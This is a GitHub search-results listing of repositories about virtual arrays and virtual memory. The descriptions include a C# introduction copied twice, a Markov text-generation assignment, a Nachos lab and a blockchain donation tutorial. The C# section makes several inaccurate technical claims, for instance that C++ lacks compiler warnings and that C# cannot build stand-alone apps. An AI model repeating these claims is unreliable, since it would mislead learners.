20 skills found
lukejacksonn / IjkTransforms arrays into virtual dom trees; a terse alternative to JSX and h
sanusanth / C Basic ProgramsWhat is C#? C# is pronounced "C-Sharp". It is an object-oriented programming language created by Microsoft that runs on the .NET Framework. C# has roots from the C family, and the language is close to other popular languages like C++ and Java. The first version was released in year 2002. The latest version, C# 8, was released in September 2019. C# is a modern object-oriented programming language developed in 2000 by Anders Hejlsberg, the principal designer and lead architect at Microsoft. It is pronounced as "C-Sharp," inspired by the musical notation “♯” which stands for a note with a slightly higher pitch. As it’s considered an incremental compilation of the C++ language, the name C “sharp” seemed most appropriate. The sharp symbol, however, has been replaced by the keyboard friendly “#” as a suffix to “C” for purposes of programming. Although the code is very similar to C++, C# is newer and has grown fast with extensive support from Microsoft. The fact that it’s so similar to Java syntactically helps explain why it has emerged as one of the most popular programming languages today. C# is pronounced "C-Sharp". It is an object-oriented programming language created by Microsoft that runs on the .NET Framework. C# has roots from the C family, and the language is close to other popular languages like C++ and Java. The first version was released in year 2002. The latest version, C# 8, was released in September 2019. C# is used for: Mobile applications Desktop applications Web applications Web services Web sites Games VR Database applications And much, much more! An Introduction to C# Programming C# is a general-purpose, object-oriented programming language that is structured and easy to learn. It runs on Microsoft’s .Net Framework and can be compiled on a variety of computer platforms. As the syntax is simple and easy to learn, developers familiar with C, C++, or Java have found a comfort zone within C#. C# is a boon for developers who want to build a wide range of applications on the .NET Framework—Windows applications, Web applications, and Web services—in addition to building mobile apps, Windows Store apps, and enterprise software. It is thus considered a powerful programming language and features in every developer’s cache of tools. Although first released in 2002, when it was introduced with .NET Framework 1.0, the C# language has evolved a great deal since then. The most recent version is C# 8.0, available in preview as part of Visual Studio. To get access to all of the new language features, you would need to install the latest preview version of .NET Core 3.0. C# is used for: Mobile applications Desktop applications Web applications Web services Web sites Games VR Database applications And much, much more! Why Use C#? It is one of the most popular programming language in the world It is easy to learn and simple to use It has a huge community support C# is an object oriented language which gives a clear structure to programs and allows code to be reused, lowering development costs. As C# is close to C, C++ and Java, it makes it easy for programmers to switch to C# or vice versa. The C# Environment You need the .NET Framework and an IDE (integrated development environment) to work with the C# language. The .NET Framework The .NET Framework platform of the Windows OS is required to write web and desktop-based applications using not only C# but also Visual Basic and Jscript, as the platform provides language interoperability. Besides, the .Net Framework allows C# to communicate with any of the other common languages, such as C++, Jscript, COBOL, and so on. IDEs Microsoft provides various IDEs for C# programming: Visual Studio 2010 (VS) Visual Studio Express Visual Web Developer Visual Studio Code (VSC) The C# source code files can be written using a basic text editor, like Notepad, and compiled using the command-line compiler of the .NET Framework. Alternative open-source versions of the .Net Framework can work on other operating systems as well. For instance, the Mono has a C# compiler and runs on several operating systems, including Linux, Mac, Android, BSD, iOS, Windows, Solaris, and UNIX. This brings enhanced development tools to the developer. As C# is part of the .Net Framework platform, it has access to its enormous library of codes and components, such as Common Language Runtime (CLR), the .Net Framework Class Library, Common Language Specification, Common Type System, Metadata and Assemblies, Windows Forms, ASP.Net and ASP.Net AJAX, Windows Workflow Foundation (WF), Windows Communication Foundation (WCF), and LINQ. C# and Java C# and Java are high-level programming languages that share several similarities (as well as many differences). They are both object-oriented languages much influenced by C++. But while C# is suitable for application development in the Microsoft ecosystem from the front, Java is considered best for client-side web applications. Also, while C# has many tools for programming, Java has a larger arsenal of tools to choose from in IDEs and Text Editors. C# is used for virtual reality projects like games, mobile, and web applications. It is built specifically for Microsoft platforms and several non-Microsoft-based operating systems, like the Mono Project that works with Linux and OS X. Java is used for creating messaging applications and developing web-based and enterprise-based applications in open-source ecosystems. Both C# and Java support arrays. However, each language uses them differently. In C#, arrays are a specialization of the system; in Java, they are a direct specialization of the object. The C# programming language executes on the CLR. The source code is interpreted into bytecode, which is further compiled by the CLR. Java runs on any platform with the assistance of JRE (Java Runtime Environment). The written source code is first compiled into bytecode and then converted into machine code to be executed on a JRE. C# and C++ Although C# and C++ are both C-based languages with similar code, there are some differences. For one, C# is considered a component-oriented programming language, while C++ is a partial object-oriented language. Also, while both languages are compiled languages, C# compiles to CLR and is interpreted by.NET, but C++ compiles to machine code. The size of binaries in C# is much larger than in C++. Other differences between the two include the following: C# gives compiler errors and warnings, but C++ doesn’t support warnings, which may cause damage to the OS. C# runs in a virtual machine for automatic memory management. C++ requires you to manage memory manually. C# can create Windows, .NET, web, desktop, and mobile applications, but not stand-alone apps. C++ can create server-side, stand-alone, and console applications as it can work directly with the hardware. C++ can be used on any platform, while C# is targeted toward Windows OS. Generally, C++ being faster than C#, the former is preferred for applications where performance is essential. Features of C# The C# programming language has many features that make it more useful and unique when compared to other languages, including: Object-oriented language Being object-oriented, C# allows the creation of modular applications and reusable codes, an advantage over C++. As an object-oriented language, C# makes development and maintenance easier when project size grows. It supports all three object-oriented features: data encapsulation, inheritance, interfaces, and polymorphism. Simplicity C# is a simple language with a structured approach to problem-solving. Unsafe operations, like direct memory manipulation, are not allowed. Speed The compilation and execution time in C# is very powerful and fast. A Modern programming language C# programming is used for building scalable and interoperable applications with support for modern features like automatic garbage collection, error handling, debugging, and robust security. It has built-in support for a web service to be invoked from any app running on any platform. Type-safe Arrays and objects are zero base indexed and bound checked. There is an automatic checking of the overflow of types. The C# type safety instances support robust programming. Interoperability Language interoperability of C# maximizes code reuse for the efficiency of the development process. C# programs can work upon almost anything as a program can call out any native API. Consistency Its unified type system enables developers to extend the type system simply and easily for consistent behavior. Updateable C# is automatically updateable. Its versioning support enables complex frameworks to be developed and evolved. Component oriented C# supports component-oriented programming through the concepts of properties, methods, events, and attributes for self-contained and self-describing components of functionality for robust and scalable applications. Structured Programming Language The structured design and modularization in C# break a problem into parts, using functions for easy implementation to solve significant problems. Rich Library C# has a standard library with many inbuilt functions for easy and fast development. Prerequisites for Learning C# Basic knowledge of C or C++ or any programming language or programming fundamentals. Additionally, the OOP concept makes for a short learning curve of C#. Advantages of C# There are many advantages to the C# language that makes it a useful programming language compared to other languages like Java, C, or C++. These include: Being an object-oriented language, C# allows you to create modular, maintainable applications and reusable codes Familiar syntax Easy to develop as it has a rich class of libraries for smooth implementation of functions Enhanced integration as an application written in .NET will integrate and interpret better when compared to other NET technologies As C# runs on CLR, it makes it easy to integrate with components written in other languages It’s safe, with no data loss as there is no type-conversion so that you can write secure codes The automatic garbage collection keeps the system clean and doesn’t hang it during execution As your machine has to install the .NET Framework to run C#, it supports cross-platform Strong memory backup prevents memory leakage Programming support of the Microsoft ecosystem makes development easy and seamless Low maintenance cost, as C# can develop iOS, Android, and Windows Phone native apps The syntax is similar to C, C++, and Java, which makes it easier to learn and work with C# Useful as it can develop iOS, Android, and Windows Phone native apps with the Xamarin Framework C# is the most powerful programming language for the .NET Framework Fast development as C# is open source steered by Microsoft with access to open source projects and tools on Github, and many active communities contributing to the improvement What Can C Sharp Do for You? C# can be used to develop a wide range of: Windows client applications Windows libraries and components Windows services Web applications Native iOS and Android mobile apps Azure cloud applications and services Gaming consoles and gaming systems Video and virtual reality games Interoperability software like SharePoint Enterprise software Backend services and database programs AI and ML applications Distributed applications Hardware-level programming Virus and malware software GUI-based applications IoT devices Blockchain and distributed ledger technology C# Programming for Beginners: Introduction, Features and Applications By Simplilearn Last updated on Jan 20, 2020674 C# Programming for Beginners As a programmer, you’re motivated to master the most popular languages that will give you an edge in your career. There’s a vast number of programming languages that you can learn, but how do you know which is the most useful? If you know C and C++, do you need to learn C# as well? How similar is C# to Java? Does it become more comfortable for you to learn C# if you already know Java? Every developer and wannabe programmer asks these types of questions. So let us explore C# programming: how it evolved as an extension of C and why you need to learn it as a part of the Master’s Program in integrated DevOps for server-side execution. Are you a web developer or someone interested to build a website? Enroll for the Javascript Certification Training. Check out the course preview now! What is C#? C# is a modern object-oriented programming language developed in 2000 by Anders Hejlsberg, the principal designer and lead architect at Microsoft. It is pronounced as "C-Sharp," inspired by the musical notation “♯” which stands for a note with a slightly higher pitch. As it’s considered an incremental compilation of the C++ language, the name C “sharp” seemed most appropriate. The sharp symbol, however, has been replaced by the keyboard friendly “#” as a suffix to “C” for purposes of programming. Although the code is very similar to C++, C# is newer and has grown fast with extensive support from Microsoft. The fact that it’s so similar to Java syntactically helps explain why it has emerged as one of the most popular programming languages today. An Introduction to C# Programming C# is a general-purpose, object-oriented programming language that is structured and easy to learn. It runs on Microsoft’s .Net Framework and can be compiled on a variety of computer platforms. As the syntax is simple and easy to learn, developers familiar with C, C++, or Java have found a comfort zone within C#. C# is a boon for developers who want to build a wide range of applications on the .NET Framework—Windows applications, Web applications, and Web services—in addition to building mobile apps, Windows Store apps, and enterprise software. It is thus considered a powerful programming language and features in every developer’s cache of tools. Although first released in 2002, when it was introduced with .NET Framework 1.0, the C# language has evolved a great deal since then. The most recent version is C# 8.0, available in preview as part of Visual Studio. To get access to all of the new language features, you would need to install the latest preview version of .NET Core 3.0. The C# Environment You need the .NET Framework and an IDE (integrated development environment) to work with the C# language. The .NET Framework The .NET Framework platform of the Windows OS is required to write web and desktop-based applications using not only C# but also Visual Basic and Jscript, as the platform provides language interoperability. Besides, the .Net Framework allows C# to communicate with any of the other common languages, such as C++, Jscript, COBOL, and so on. IDEs Microsoft provides various IDEs for C# programming: Visual Studio 2010 (VS) Visual Studio Express Visual Web Developer Visual Studio Code (VSC) The C# source code files can be written using a basic text editor, like Notepad, and compiled using the command-line compiler of the .NET Framework. Alternative open-source versions of the .Net Framework can work on other operating systems as well. For instance, the Mono has a C# compiler and runs on several operating systems, including Linux, Mac, Android, BSD, iOS, Windows, Solaris, and UNIX. This brings enhanced development tools to the developer. As C# is part of the .Net Framework platform, it has access to its enormous library of codes and components, such as Common Language Runtime (CLR), the .Net Framework Class Library, Common Language Specification, Common Type System, Metadata and Assemblies, Windows Forms, ASP.Net and ASP.Net AJAX, Windows Workflow Foundation (WF), Windows Communication Foundation (WCF), and LINQ. C# and Java C# and Java are high-level programming languages that share several similarities (as well as many differences). They are both object-oriented languages much influenced by C++. But while C# is suitable for application development in the Microsoft ecosystem from the front, Java is considered best for client-side web applications. Also, while C# has many tools for programming, Java has a larger arsenal of tools to choose from in IDEs and Text Editors. C# is used for virtual reality projects like games, mobile, and web applications. It is built specifically for Microsoft platforms and several non-Microsoft-based operating systems, like the Mono Project that works with Linux and OS X. Java is used for creating messaging applications and developing web-based and enterprise-based applications in open-source ecosystems. Both C# and Java support arrays. However, each language uses them differently. In C#, arrays are a specialization of the system; in Java, they are a direct specialization of the object. The C# programming language executes on the CLR. The source code is interpreted into bytecode, which is further compiled by the CLR. Java runs on any platform with the assistance of JRE (Java Runtime Environment). The written source code is first compiled into bytecode and then converted into machine code to be executed on a JRE. C# and C++ Although C# and C++ are both C-based languages with similar code, there are some differences. For one, C# is considered a component-oriented programming language, while C++ is a partial object-oriented language. Also, while both languages are compiled languages, C# compiles to CLR and is interpreted by.NET, but C++ compiles to machine code. The size of binaries in C# is much larger than in C++. Other differences between the two include the following: C# gives compiler errors and warnings, but C++ doesn’t support warnings, which may cause damage to the OS. C# runs in a virtual machine for automatic memory management. C++ requires you to manage memory manually. C# can create Windows, .NET, web, desktop, and mobile applications, but not stand-alone apps. C++ can create server-side, stand-alone, and console applications as it can work directly with the hardware. C++ can be used on any platform, while C# is targeted toward Windows OS. Generally, C++ being faster than C#, the former is preferred for applications where performance is essential. Features of C# The C# programming language has many features that make it more useful and unique when compared to other languages, including: Object-oriented language Being object-oriented, C# allows the creation of modular applications and reusable codes, an advantage over C++. As an object-oriented language, C# makes development and maintenance easier when project size grows. It supports all three object-oriented features: data encapsulation, inheritance, interfaces, and polymorphism. Simplicity C# is a simple language with a structured approach to problem-solving. Unsafe operations, like direct memory manipulation, are not allowed. Speed The compilation and execution time in C# is very powerful and fast. A Modern programming language C# programming is used for building scalable and interoperable applications with support for modern features like automatic garbage collection, error handling, debugging, and robust security. It has built-in support for a web service to be invoked from any app running on any platform. Type-safe Arrays and objects are zero base indexed and bound checked. There is an automatic checking of the overflow of types. The C# type safety instances support robust programming. Interoperability Language interoperability of C# maximizes code reuse for the efficiency of the development process. C# programs can work upon almost anything as a program can call out any native API. Consistency Its unified type system enables developers to extend the type system simply and easily for consistent behavior. Updateable C# is automatically updateable. Its versioning support enables complex frameworks to be developed and evolved. Component oriented C# supports component-oriented programming through the concepts of properties, methods, events, and attributes for self-contained and self-describing components of functionality for robust and scalable applications. Structured Programming Language The structured design and modularization in C# break a problem into parts, using functions for easy implementation to solve significant problems. Rich Library C# has a standard library with many inbuilt functions for easy and fast development. Full Stack Java Developer Course The Gateway to Master Web DevelopmentEXPLORE COURSEFull Stack Java Developer Course Prerequisites for Learning C# Basic knowledge of C or C++ or any programming language or programming fundamentals. Additionally, the OOP concept makes for a short learning curve of C#. Advantages of C# There are many advantages to the C# language that makes it a useful programming language compared to other languages like Java, C, or C++. These include: Being an object-oriented language, C# allows you to create modular, maintainable applications and reusable codes Familiar syntax Easy to develop as it has a rich class of libraries for smooth implementation of functions Enhanced integration as an application written in .NET will integrate and interpret better when compared to other NET technologies As C# runs on CLR, it makes it easy to integrate with components written in other languages It’s safe, with no data loss as there is no type-conversion so that you can write secure codes The automatic garbage collection keeps the system clean and doesn’t hang it during execution As your machine has to install the .NET Framework to run C#, it supports cross-platform Strong memory backup prevents memory leakage Programming support of the Microsoft ecosystem makes development easy and seamless Low maintenance cost, as C# can develop iOS, Android, and Windows Phone native apps The syntax is similar to C, C++, and Java, which makes it easier to learn and work with C# Useful as it can develop iOS, Android, and Windows Phone native apps with the Xamarin Framework C# is the most powerful programming language for the .NET Framework Fast development as C# is open source steered by Microsoft with access to open source projects and tools on Github, and many active communities contributing to the improvement What Can C Sharp Do for You? C# can be used to develop a wide range of: Windows client applications Windows libraries and components Windows services Web applications Native iOS and Android mobile apps Azure cloud applications and services Gaming consoles and gaming systems Video and virtual reality games Interoperability software like SharePoint Enterprise software Backend services and database programs AI and ML applications Distributed applications Hardware-level programming Virus and malware software GUI-based applications IoT devices Blockchain and distributed ledger technology Who Should Learn the C# Programming Language and Why? C# is one of the most popular programming languages as it can be used for a variety of applications: mobile apps, game development, and enterprise software. What’s more, the C# 8.0 version is packed with several new features and enhancements to the C# language that can change the way developers write their C# code. The most important new features available are ‘null reference types,’ enhanced ‘pattern matching,’ and ‘async streams’ that help you to write more reliable and readable code. As you’re exposed to the fundamental programming concepts of C# in this course, you can work on projects that open the doors for you as a Full Stack Java Developer. So, upskill and master the C# language for a faster career trajectory and salary scope.
SciTools / Biggus:no_entry: [DEPRECATED] Virtual large arrays and lazy evaluation.
JuliaArrays / PaddedViews.jlAdd virtual padding to the edges of an array
emilbjornson / Nearfield PrimerSimulation code for “A Primer on Near-Field Beamforming for Arrays and Reconfigurable Intelligent Surfaces,” by Emil Björnson, Özlem Tuğfe Demir, and Luca Sanguinetti, Asilomar Conference on Signals, Systems, and Computers, Virtual conference, October-November 2021.
rdunnington / Zig Stable ArrayAddress-stable array with a max size that allocates directly from virtual memory.
vothanhdat / React Obj ViewA high-performance, virtualized React component for inspecting massive objects and arrays. Renders 100k+ nodes smoothly without blocking the UI.
tugrul512bit / VirtualMultiArrayC++ virtual-array implementation that uses all graphics cards in system as storage (with LRU cache eviction on RAM) and uses OpenCL for data transfers. (Random access: faster than HDD) (Sequential access: faster than SSD) (big objects: faster than NVMe)
AnniekStok / Napari Segmentation ToolboxA basis for a napari plugin for manually correcting cell segmentation in 3D (z, y, x) or 4D (t, z, y, x) (virtual) arrays.
noahjonesx / MarkovModelMarkov Text Generation Problem Description The Infinite Monkey Theorem1 (IFT) says that if a monkey hits keys at random on a typewriter it will almost surely, given an infinite amount of time, produce a chosen text (like the Declaration of Independence, Hamlet, or a script for ... Planet of the Apes). The probability of this actually happening is, of course, very small but the IFT claims that it is still possible. Some people have tested this hypotheis in software and, after billions and billions of simulated years, one virtual monkey was able to type out a sequence of 19 letters that can be found in Shakespeare’s The Two Gentlemen of Verona. (See the April 9, 2007 edition of The New Yorker if you’re interested; but, hypothesis testing with real monkeys2 is far more entertaining.) The IFT might lead to some interesting conversations with Rust Cohle, but the practical applications are few. It does, however, bring up the idea of automated text generation, and there the ideas and applications are not only interesting but also important. Claude Shannon essentially founded the field of information theory with the publication of his landmark paper A Mathematical Theory of Computation3 in 1948. Shannon described a method for using Markov chains to produce a reasonable imitation of a known text with sometimes startling results. For example, here is a sample of text generated from a Markov model of the script for the 1967 movie Planet of the Apes. "PLANET OF THE APES" Screenplay by Michael Wilson Based on Novel By Pierre Boulle DISSOLVE TO: 138 EXT. GROVE OF FRUIT TREES - ESTABLISHING SHOT - DAY Zira run back to the front of Taylor. The President, I believe the prosecutor's charge of this man. ZIRA Well, whoever owned them was in pretty bad shape. He picks up two of the strain. You got what you wanted, kid. How does it taste? Silence. Taylor and cuffs him. Over this we HEAR from a distance is a crude horse-drawn wagon is silhouetted-against the trunks and branches of great trees and bushes on the horse's rump. Taylor lifts his right arm to ward off the blow, and the room and lands at the feet of Cornelius and Lucius are sorting out equipment falls to his knees, buries his head silently at the Ranch). DISSOLVE TO: 197 INT. CAGES - CLOSE SHOT - FEATURING LANDON - FROM TAYLOR'S VOICE (o.s.) I've got a fine veternary surgeons under my direction? ZIRA Taylor! ZIRA There is a small lake, looking like a politician. TAYLOR Dodge takes a pen and notebook from the half-open door of a guard room. Taylor bursts suddenly confronted by his 1https://en.wikipedia.org/wiki/Infinite_monkey_theorem2https://web.archive.org/web/20130120215600/http://www.vivaria.net/experiments/notes/publication/NOTES_ EN.pdf3http://ieeexplore.ieee.org/xpl/articleDetails.jsp?arnumber=6773024 1 original pursuer (the dismounted cop coming up with a cigar butt and places it in the drawer beside them. TAYLOR What's the best there is a. loud RAP at the doll was found beside the building. Zira waits at the third table. TAYLOR Good question. Is he a man? CORNELIUS (impatiently. DODGE Blessed are the vegetation. These SHOTS are INTERCUT with: 94 WHAT THE ASTRONAUTS They examine the remnants of the cage. ZIRA (plunging on) Their speech organs are adequate. The flaw lies not in anatomy but in the back of his left sleeve. TAYLOR (taking off his shirt. 80 DODGE AND LANDON You don't sound happy in your work. GALEN (defensively) Gorilla hunter stands over a dead man, one fo Besides a few spelling errors and some rather odd things that make you wonder about the author, this passage is surprisingly human-like. This is a simple example of natural language generation, a sub-area of natural language processing—a very active area of research in computer science. The particular approach we’re using in this assignment was famously implemented as the fictitious Mark V. Shaney4 and the Emacs command Disassociated Press5. Approach So, here’s the basic idea: Imagine taking a book (say, Tom Sawyer) and determining the probability with which each character occurs. You would probably find that spaces are the most common, that the character ‘e’ is fairly common, and that the character ‘q’ is rather uncommon. After completing this “level 0” analysis, you would be able to produce random Tom Sawyer text based on character probabilities. It wouldn’t have much in common with the real thing, but at least the characters would tend to occur in the proper propor- tion. In fact, here’s an example of what you might produce: Level 0 rla bsht eS ststofo hhfosdsdewno oe wee h .mr ae irii ela iad o r te u t mnyto onmalysnce, ifu en c fDwn oee iteo Now imagine doing a slightly more sophisticated level 1 analysis by determining the probability with which each character follows every other character. You would probably discover that ‘h’ follows ‘t’ more frequently than ‘x’ does, and you would probably discover that a space follows ‘.’ more frequently than ‘,’ does. You could now produce some randomly generated Tom Sawyer text by picking a character to begin with and then always choosing the next character based on the previous one and the probabilities revealed by the analysis. Here’s an example: Level 1 "Shand tucthiney m?" le ollds mind Theybooure He, he s whit Pereg lenigabo Jodind alllld ashanthe ainofevids tre lin-p asto oun theanthadomoere Now imagine doing a level k analysis by determining the probability with which each character follows every possible sequence of characters of length k (kgrams). A level 5 analysis of Tom Sawyer for example, would reveal that ‘r’ follows “Sawye” more frequently than any other character. After a level k analysis, you would be able to produce random Tom Sawyer by always choosing the next character based on the previous k characters (a kgram) and the probabilities revealed by the analysis. 4https://en.wikipedia.org/wiki/Mark_V._Shaney5https://en.wikipedia.org/wiki/Dissociated_press Page 2 of 5 At only a moderate level of analysis (say, levels 5-7), the randomly generated text begins to take on many of the characteristics of the source text. It probably won’t make complete sense, but you’ll be able to tell that it was derived from Tom Sawyer as opposed to, say, The Sound and the Fury. Here are some more examples of text that is generated from increasing levels of analysis of Tom Sawyer. (These “levels of analysis” are called order K Markov models.) K = 2 "Yess been." for gothin, Tome oso; ing, in to weliss of an’te cle - armit. Papper a comeasione, and smomenty, fropeck hinticer, sid, a was Tom, be suck tied. He sis tred a youck to themen K = 4 en themself, Mr. Welshman, but him awoke, the balmy shore. I’ll give him that he couple overy because in the slated snufflindeed structure’s kind was rath. She said that the wound the door a fever eyes that WITH him. K = 6 people had eaten, leaving. Come - didn’t stand it better judgment; His hands and bury it again, tramped herself! She’d never would be. He found her spite of anything the one was a prime feature sunset, and hit upon that of the forever. K = 8 look-a-here - I told you before, Joe. I’ve heard a pin drop. The stillness was complete, how- ever, this is awful crime, beyond the village was sufficient. He would be a good enough to get that night, Tom and Becky. K = 10 you understanding that they don’t come around in the cave should get the word "beauteous" was over-fondled, and that together" and decided that he might as we used to do - it’s nobby fun. I’ll learn you." To create an order K Markov model of a given source text, you would need to identify all kgrams in the source text and associate with each kgram all the individual characters that follow it. This association or mapping must also capture the frequency with which a given character follows a given kgram. For example, suppose that k = 2 and the sample text is: agggcagcgggcg The Markov model would have to represent all the character strings of length two (2-grams) in the source text, and associate with them the characters that follow them, and in the correct proportion. The following table shows one way of representing this information. kgram Characters that follow ag gc gg gcgc gc agg ca g cg g Once you have created an order K Markov model of a given source text, you can generate new text based on this model as follows. Page 3 of 5 1. Randomly pick k consecutive characters that appear in the sample text and use them as the initial kgram. 2. Append the kgram to the output text being generated. 3. Repeat the following steps until the output text is sufficiently long. (a) Select a character c that appears in the sample text based on the probability of that character following the current kgram. (b) Append this character to the output text. (c) Update the kgram by removing its first character and adding the character just chosen (c) as its last character. If this process encounters a situation in which there are no characters to choose from (which can happen if the only occurrence of the current kgram is at the exact end of the source), simply pick a new kgram at random and continue. As an example, suppose that k = 2 and the sample text is that from above: agggcagcgggcg Here are four different output text strings of length 10 that could have been the result of the process described above, using the first two characters (’ag’) as the initial kgram. agcggcagcg aggcaggcgg agggcaggcg agcggcggca For another example, suppose that k = 2 and the sample text is: the three pirates charted that course the other day Here is how the first three characters of new text might be generated: •A two-character sequence is chosen at random to become the initial kgram. Let’s suppose that “th” is chosen. So, kgram = th and output = th. •The first character must be chosen based on the probability that it follows the kgram (currently “th”) in the source. The source contains five occurrences of “th”. Three times it is followed by ’e’, once it is followed by ’r’, and once it is followed by ’a’. Thus, the next character must be chosen so that there is a 3/5 chance that an ’e’ will be chosen, a 1/5 chance that an ’r’ will be chosen, and a 1/5 chance that an ’a’ will be chosen. Let’s suppose that we choose an ’e’ this time. So, kgram = he and output = the. •The next character must be chosen based on the probability that it follows the kgram (currently “he”) in the source. The source contains three occurrences of “he”. Twice it is followed by a space and once it is followed by ’r’. Thus, the next character must be chosen so that there is a 2/3 chance that a space will be chosen and a 1/3 chance that an ’r’ will be chosen. Let’s suppose that we choose an ’r’ this time. So, kgram = er and output = ther. •The next character must be chosen based on the probability that it follows the kgram (currently “er”) in the source. The source contains only one occurrence of “er”, and it is followed by a space. Thus, the next character must be a space. So, kgram = r_ and output = ther_, where ’_’ represents a blank space. Page 4 of 5 Implementation Details You are provided with two Java files that you must use to develop your solution: MarkovModel.java and TextGenerator.java. The constructors of MarkovModel build the order-k model of the source text. You are required to represent the model with the provided HashMap field. The main method of TextGenerator must process the following three command line arguments (in the args array): •A non-negative integer k •A non-negative integer length. •The name of an input file source that contains more than k characters. Your program must validate the command line arguments by making sure that k and length are non- negative and that source contains at least k characters and can be opened for reading. If any of the command line arguments are invalid, your program must write an informative error message to System.out and terminate. If there are not enough command line arguments, your program must write an informative error message to System.out and terminate. With valid command line arguments, your program must use the methods of the MarkovModel class to create an order k Markov model of the sample text, select the initial kgram, and make each character selection. You must implement the MarkovModel methods according to description of the Markov modeling process in the section above. A few sample texts have been provided, but Project Gutenberg (http://www.gutenberg.org) maintains a large collection of public domain literary works that you can use as source texts for fun and practice. Acknowledgments This assignment is based on the ideas of many people, Jon Bentley and Owen Astrachan in particular.
Cheejyg / CZ2005 Operating Systems Experiment 3 Virtual MemoryIn this lab, you are required to complete a virtual memory implementation, including how to get a physical frame for a virtual page from the IPT if it exists there, how to put a physical frame/virtual page entry into TLB, and how to implement a least recently used page replacement algorithm. A software-managed TLB is implemented in Nachos. There is one TLB per machine. There is also an IPT which maps physical frames to virtual pages. Basically, the translation process first examines the TLB to see if there is a match. If so, the matching entry in the TLB will be used for address translation. If there is a miss, the IPT will be looked up. If a matching entry is found in the IPT, the entry will be used to update the TLB. A miss in the IPT means that the page will have to be loaded from disk, and a page in and page out will be performed. To decide which page to page out, a page replacement policy is used, for example, a least recently used algorithm which will be explained late on. During each lookup process, you need to perform some checking in order to make sure that you are looking up the correct entry and that the entry is valid. In order to check whether you are referencing the correct entries from the TLB, you have to check the valid bit. The TLB will get updated when an exception is raised and the required page entry isn't in it. In this case, a new entry needs to be inserted into the TLB. The new entry will be inserted into an invalid entry in the TLB or replace an existing entry if it is full. Since the TLB is small, the replacement policy for the TLB is simply FIFO. When there is a context switch between processes, e.g. the main process executing a child process, the entries in the TLB will be cleared by setting all entries to invalid. The IPT is simply implemented using an array, represented by the memoryTable (a mapping of what pages are in memory and their properties). There is one entry for each of the physical frame, and each entry contains the corresponding process id, virtual page number, and the last used field that records the tick value when the page was last accessed. The least recently used algorithms works by iterating through the memoryTable, from the beginning, to look for the entry that has been least recently used. If there is an entry that is not valid (i.e., its process is dead), the algorithm will return the index of this invalid entry. Otherwise, the algorithm will return the index of the least recently used entry (that is, the entry with the smallest last used field).
NourelhoudaAbdellaoui / SecureDonation Based On BlockchainSecure Donation Project based on truffle /metamask/ganache Your guide to build a project donation based on blockchain in order to ensure the traceability and the security of your money donation. Steps : Step 1:Setup your IDE coding in my case i choose VS code 1-I install the extension of truffle on VS Code .and I learn the basics of truffle thanks to the official site : https://trufflesuite.com/docs/truffle/ by the way truffle is just a development environment to code and compile your smart contract and is testing framework for blockchains using the ethereum virtual machine .So let’s take the first step : I created a folder named Nour project using this command : mkdir NourProject and also inside it i created 2 other folders :mkdir frontend and mkdir Blockchain Step2:Start with truffle so now let’s create our truffle project inside Nourproject/Blockchain thanks to the command truffle init Now let’s create our smart contract named Donation.sol in Nourproject/Blockchain/contracts and in direction Nourproject/Blockchain/migration/Donation.js fo deploying later your smart contract on ganache we will use this fil!e .js So our smart Contract looks like: //SPDX-License-Identifier:MIT pragma solidity ^0.8.0; //so contract Donation{ //struct :define your type Donor //inside struct you can grouping your different information that you wanna track it struct Donor{ //uint (only integer without minus) uint id ;//id of donor string name;// the name of donor uint256 amount;// the amount of donor address sender_address;//Donprs wallet address } uint256 id=0; //Mapping is Mapping is a reference type as arrays and structs as dictionnary in python is composed essentially by key =>value mapping(uint=>Donor)public sender; //function to add another donor to take a place //payble is function its role to recieve ETH from donors in oder to store //donors data and the amount paid function addDonor(string memory name)public payable { id+=1; sender[id]=Donor(id,name,msg.value,msg.sender); } So now let’s how to complelete the donation.js in migration so after coding our smart contract we have install ganache thanks to this link: https://trufflesuite.com/ganache/ so now let’s compile the smart contract thans to this command truffle compile before we deploy it into ganache we have to add the project into ganache now let’s relate ganache to truffle test so let’s deploy it into the ganache (local blockchain test ): truffle migrate Step3 :Frontend part this part based on html /css/js So in this part just we use the basic tools of html/css/js as u see here in the image bellow : so let’s understand some buttons function as the button connect this button it’s main function is to extract address account from metamask so the steps that you should follow it in this part just build a simple button thanks to bootstrap https://getbootstrap.com/docs/5.2/getting-started/introduction/ and create a simple squelette of form and add some animation thanks to css so let’s add the script of web3.js to let our website worked on blockchain browser thanks to this script <script src="https://cdn.jsdelivr.net/npm/web3@latest/dist/web3.min.js"></script> so enable it by writing this piece of code //Enable Web3 async function loadWeb3(){ if(window.ethereum) { window.web3 = new Web3(window.ethereum); } } and then load smart contract from truffle thanks to it’s ABI and it’s address : you can find the ABI in build file it will create automatic when you built your contract so in my case my ABI is located in the direction of build /Donation.json so My ABI : "abi": [ { "inputs": [ { "internalType": "uint256", "name": "", "type": "uint256" } ], "name": "sender", "outputs": [ { "internalType": "uint256", "name": "id", "type": "uint256" }, { "internalType": "string", "name": "name", "type": "string" }, { "internalType": "uint256", "name": "amount", "type": "uint256" }, { "internalType": "address", "name": "sender_address", "type": "address" } ], "stateMutability": "view", "type": "function" }, { "inputs": [ { "internalType": "string", "name": "name", "type": "string" } ], "name": "addDonor", "outputs": [], "stateMutability": "payable", "type": "function" } ], So the address is the same of the contract address : so after loading the smart contract thanks to it’s ABI and address you can read data from and load all of it’s function by some code in js and then connect to the metamask wallet and get the address of the account after just donate by the button donate all of :this detail is written in code js you can say it in code js in the code file wish that document is helpful So as you see after donate to ether thanks for some fake ethers in the metamask wallet which is take it fro the ganache balances with simple steps just open metmask extension>settings >add network>then add the url rpc of your ganache and in the id chain write 1337 after passing the transaction another block added in the ganache so that’s all wish this documentation was helpful to you to understand the code how it running
Medic1111 / VIRTUAL PETTeam Project of a virtual Pet application inspired by my Parrot Kiwi. Ideas were put in an array and we allowed Math.Random to choose for us. 5 team members including, 1 backend developer, 3 frontend developer, 1 scrum master.
m-schuetz / VarrayDynamic growable array based on virtual memory, and comitting physical memory on-demand.
invenia / VirtualArrays.jlA way to concatenate arrays without copying values.
BAndysc / LatteCompilerCompiler for custom Java-like language Latte for MRJP course at MIMUW. Written in C#, compiles to Linux, OS X and Windows. Language supports arrays, classes, methods, virtual methods, inheritance.
